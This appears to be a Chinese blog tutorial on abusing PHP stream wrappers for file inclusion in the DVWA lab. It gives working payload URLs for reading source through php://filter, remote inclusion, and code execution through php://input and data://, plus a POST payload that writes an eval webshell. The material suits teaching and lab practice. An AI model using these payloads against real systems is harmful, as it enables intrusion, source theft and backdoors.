PHP安全 [伪协议]
首先在\DVWA-master\vulnerabilities\fi\目录下新建1.txt 2.txt 3.zip方便环境测试。
file://协议
file协议主要用于访问本地计算机中的文件,也就是用于访问本地文件系统,且不受allow_url_fopen与allow_url_include的影响;!只能传入本地绝对路径。
file://文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。
使用:
file://[文件的绝对路径+文件名]
注意这里读取的是txt文件,但是被当成php文件解析了。
其它
我们访问当前目录:
http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=./1.txt
http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=2.txt
http://协议
http://[url+文件名]
http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=http://192.168.41.129:8080/test1.txt
http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=http://www.baidu.com
php://协议
php:// — 访问各个输入/输出流(I/O streams);PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。不受allow_url_fopen的影响,但是php://input php://stdin php://memory php://temp 需要配置allow_url_include为on。
在CTF中,通常使用php://filter用于读取源码,使用php://input 执行php代码。
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data"的时候 php://input 是无效的。
php://output 只写的数据流,允许以print和echo一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是:php://memory 总是把数据存在内存中,而php://temp 会在内存量达到预定义的限制后(默认是2MB)存入临时文件中。临时文件位置的决定和sys_get_temp_dir()的方式一致。
php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体化(all-in-one)的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容之前没有机会应用其他过滤器。
参数讲解:该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
resource=<要过滤的数据流>:必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>:可选项。可以设定一个或多个过滤器名称,以管道符(*\*)分隔。
write=<写链的过滤器>:可选项,可以设定一个或多个过滤器名称,以管道符(\)分隔。
<; 两个链的过滤器>:任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链。
使用
1、php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件我们需要base64编码)
PD9waHANCg0KZGVmaW5lKCAnRFZXQV9XRUJfUEFHRV9UT19ST09UJywgJy4uLy4uLycgKTsNCnJlcXVpcmVfb25jZSBEVldBX1dFQl9QQUdFX1RPX1JPT1QgLiAnZHZ3YS9pbmNsdWRlcy9kdndhUGFnZS5pbmMucGhwJzsNCg0KZHZ3YVBhZ2VTdGFydHVwKCBhcnJheSggJ2F1dGhlbnRpY2F0ZWQnLCAncGhwaWRzJyApICk7DQoNCiRwYWdlID0gZHZ3YVBhZ2VOZXdHcmFiKCk7DQokcGFnZVsgJ3RpdGxlJyBdICAgPSAnVnVsbmVyYWJpbGl0eTogRmlsZSBJbmNsdXNpb24nIC4gJHBhZ2VbICd0aXRsZV9zZXBhcmF0b3InIF0uJHBhZ2VbICd0aXRsZScgXTsNCiRwYWdlWyAncGFnZV9pZCcgXSA9ICdmaSc7DQokcGFnZVsgJ2hlbHBfYnV0dG9uJyBdICAgPSAnZmknOw0KJHBhZ2VbICdzb3VyY2VfYnV0dG9uJyBdID0gJ2ZpJzsNCg0KZHZ3YURhdGFiYXNlQ29ubmVjdCgpOw0KDQokdnVsbmVyYWJpbGl0eUZpbGUgPSAnJzsNCnN3aXRjaCggJF9DT09LSUVbICdzZWN1cml0eScgXSApIHsNCgljYXNlICdsb3cnOg0KCQkkdnVsbmVyYWJpbGl0eUZpbGUgPSAnbG93LnBocCc7DQoJCWJyZWFrOw0KCWNhc2UgJ21lZGl1bSc6DQoJCSR2dWxuZXJhYmlsaXR5RmlsZSA9ICdtZWRpdW0ucGhwJzsNCgkJYnJlYWs7DQoJY2FzZSAnaGlnaCc6DQoJCSR2dWxuZXJhYmlsaXR5RmlsZSA9ICdoaWdoLnBocCc7DQoJCWJyZWFrOw0KCWRlZmF1bHQ6DQoJCSR2dWxuZXJhYmlsaXR5RmlsZSA9ICdpbXBvc3NpYmxlLnBocCc7DQoJCWJyZWFrOw0KfQ0KDQpyZXF1aXJlX29uY2UgRFZXQV9XRUJfUEFHRV9UT19ST09UIC4gInZ1bG5lcmFiaWxpdGllcy9maS9zb3VyY2UveyR2dWxuZXJhYmlsaXR5RmlsZX0iOw0KDQovLyBpZiggY291bnQoICRfR0VUICkgKQ0KaWYoIGlzc2V0KCAkZmlsZSApICkNCglpbmNsdWRlKCAkZmlsZSApOw0KZWxzZSB7DQoJaGVhZGVyKCAnTG9jYXRpb246P3BhZ2U9aW5jbHVkZS5waHAnICk7DQoJZXhpdDsNCn0NCg0KZHZ3YUh0bWxFY2hvKCAkcGFnZSApOw0KDQo/Pg0K
分别使用php://filter/resource=1.txt、 php://filter/resource=2.txt 我们发现:
我们实验发现:php语法文件include成功会被直接当成php来解析,非php语法文件会直接输出源码内容。所以我们想要输出php源码的内容,那么我们就使用http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php来读取php代码的base64加密后的编码格式。再进行解码即可。
2、php://input + [POST DATA]执行php代码
http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=php://input
然后抓包在[POST DATA]部分输入:
<?php phpinfo(); ?>
如果有写入权限的话,我们可以在[POST DATA]部分写入一句话木马:
<?php fputs(fopen('D:\phpstudy\PhpStudy20180211\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\key.php','w'),'<?php @eval($_POST['key']);?>'); ?>
然后使用菜刀相连即可,http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/key.php
zip:// bzip2:// zlib://协议
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等;不受allow_url_fopen 和 allow_url_include的影响。
这里注意:
(1)只能传入绝对路径
(2)要用#分隔压缩包和压缩包内的内容,并且#要用url编码%23
用法:
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
2、compress.bzip2://file.bz2
压缩phpinfo.txt 为phpinfo.bz2并上传(同样支持任意后缀名)
http://192.168.41.1:8080/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
data://协议
需要allow_url_fopen和allow_url_include都为on;自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:data://text/plain,[<?php 执行内容 ?>]
http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,[<?php 执行内容 ?>base64编码]
phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容:
1、传入绝对路径
2.传入相对路径
http://192.168.41.1:8080/DVWA-master/vulnerabilities/fi/?page=phar://3.zip/3.txt
相关文章:https://blog.csdn.net/bring_coco/article/details/116779587?spm=1001.2014.3001.5501